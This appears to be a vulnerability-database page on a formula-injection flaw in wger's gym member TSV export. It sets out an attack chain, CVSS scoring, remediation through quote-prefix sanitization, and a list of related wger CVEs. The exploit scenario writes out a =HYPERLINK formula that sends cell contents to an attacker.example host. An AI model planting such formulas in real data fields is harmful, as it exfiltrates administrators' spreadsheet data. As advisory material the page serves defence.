Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRegister gym member account
-
DeliveryInject formula into first_name or last_name profile field
-
ExploitGym admin exports member list as TSV
-
ExecutionAdmin opens TSV in Excel or LibreOffice Calc
-
PersistFormula evaluates in admin's local spreadsheet context
-
ImpactExfiltrate spreadsheet data or execute local code via DDE
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
|
| Exploitation Conditions | Exploitation requires a valid gym member account on the target wger instance - self-registration lowers this barrier on publicly accessible deployments. The attacker must control the value of first_name or last_name stored in their own profile. The final payload executes only when a gym administrator explicitly exports the member list via GET /en/gym/export/users/<gym_pk> and opens the resulting TSV file in a formula-evaluating spreadsheet application (Excel, LibreOffice Calc, or Google Sheets). Arbitrary local code execution additionally requires DDE to be enabled in the spreadsheet client, which is disabled by default in modern Excel versions. The wger server itself is never directly compromised - all formula evaluation occurs in the admin's local spreadsheet client. |
| Impact | The CVSS 4.0 base score of 4.8 reflects the constrained real-world impact: vulnerable-system confidentiality and integrity are both N (the wger server itself is not compromised), while the subsequent-system impact is low (SC:L/SI:L). Exploitation requires a low-privileged authenticated gym member account (PR:L) and active user interaction from an admin (UI:A), significantly limiting the attack surface compared to unauthenticated or zero-interaction vulnerabilities. The most severe outcome - arbitrary code execution - is gated on the admin using a legacy Excel configuration with DDE enabled, a non-default and increasingly uncommon scenario. The more realistic impact is data exfiltration of visible spreadsheet content via formula callbacks. Self-registration on wger instances may lower the barrier to obtaining a member account. No EPSS data is present in the provided input; no KEV listing exists. A proof-of-concept is described in the GHSA advisory and was tested against wger server, so the exploitability is confirmed in principle, but active exploitation has not been observed. |
| Exploit ScenarioDerived | A self-registered gym member sets their first_name field to =HYPERLINK("http://attacker.example/?data="&A1,"click here") via the wger profile edit endpoint. When a gym administrator later navigates to the member export endpoint and downloads the TSV file, then opens it in Excel or LibreOffice Calc, the formula evaluates automatically, issuing an HTTP request to the attacker's server that includes the contents of cell A1 - potentially exposing admin-visible spreadsheet data. A proof-of-concept for this exact scenario is documented in GHSA-xq9m-hmp9-fw87. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 06, 2026
CSV/TSV formula injection in wger's gym member export endpoint allows any authenticated gym member to pre-load spreadsheet formulas into their own first_name or last_name profile fields, which are then reproduced verbatim in the TSV export file. When a gym administrator opens the exported file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context, enabling data exfiltration via =HYPERLINK callbacks and, on legacy Excel deployments with DDE enabled, arbitrary local code execution. No public exploit code has been independently verified beyond the researcher's proof-of-concept described in the GHSA advisory; this vulnerability is not listed in the CISA KEV catalog.
RemediationAI
Upgrade wger to version 2.6, which includes formula-prefix sanitization in wger/gym/views/export.py. The fix prepends a single quote to any cell value beginning with =, +, -, @, tab, or carriage return - the OWASP-recommended approach for neutralizing CSV/TSV formula injection. If upgrading immediately is not feasible, a compensating control is to restrict access to the gym member export endpoint to trusted administrator accounts only, and advise admins to open any TSV export in a text editor or a spreadsheet application with formula execution disabled (e.g., LibreOffice Calc with macros and DDE disabled, or Google Sheets which prompts before evaluating external links). Disabling self-registration on publicly accessible wger instances reduces the pool of potential attackers. The vendor advisory is at https://github.com/wger-project/wger/security/advisories/GHSA-xq9m-hmp9-fw87.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
wger is an open-source fitness and gym management web application (CPE: cpe:2.3:a:wger-project:wger). The vulnerable export endpoint at GET /en/gym/export/users/<gym_pk> in wger/gym/views/export.py uses Python's csv.writer to build a TSV file from user profile data. Python's csv.writer provides no formula-prefix sanitization - it does not escape characters such as =, +, -, @, tab, or carriage return that spreadsheet applications treat as formula triggers (CWE-1236: Improper Neutralization of Formula Elements in a CSV File). User-supplied first_name and last_name values are written verbatim to TSV cells. Because spreadsheet formula evaluation occurs client-side when the admin opens the file, the injection crosses the server boundary into the admin's local application context, potentially affecting systems beyond the wger server.
Know when Wger gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Network-reachable, low complexity; requires authenticated member (PR:L) and admin opening exported file (UI:R); scope changes to admin's local spreadsheet context (S:C) with low confidentiality and integrity impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Improper Restriction of Excessive Authentication Attempts in GitHub repository wger-project/wger prior to 2.2. Rated cri
Cross Site Scripting vulnerability in wger Project wger Workout Manager v.2.2.0a3 allows a remote attacker to gain privi
Cross Site Request Forgery (CSRF) vulnerability in wger Project wger Workout Manager 2.2.0a3 allows a remote attacker to
Wger versions up to 2.4 allow authenticated users to access other users' private nutrition plans through insecure direct
Wger versions up to 2.4 expose all users' repetition configuration data to any authenticated attacker due to missing aut
Uncontrolled resource consumption in wger before 2.5 allows any authenticated user to exhaust server worker threads and
wger is a free, open-source workout and fitness manager. Five routine detail action endpoints check a cache before calli
Account-deactivation privilege escalation in wger before 2.6 lets an authenticated user who holds only the gym_trainer r
Cross-user integrity corruption in wger versions prior to 2.6 allows authenticated attackers to inject arbitrary workout
Incomplete authorization fix in wger through master exposes three user-management views in wger/core/views/user.py to th
wger before 2.6 contains a CSRF bypass (CWE-352) that lets an attacker-controlled web page silently rebind an authentica
Cross-site request forgery in wger's gym password-reset endpoint allows a remote attacker to force an arbitrary member's
EUVD-2026-72113
GHSA-pmr9-wpc3-f495
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB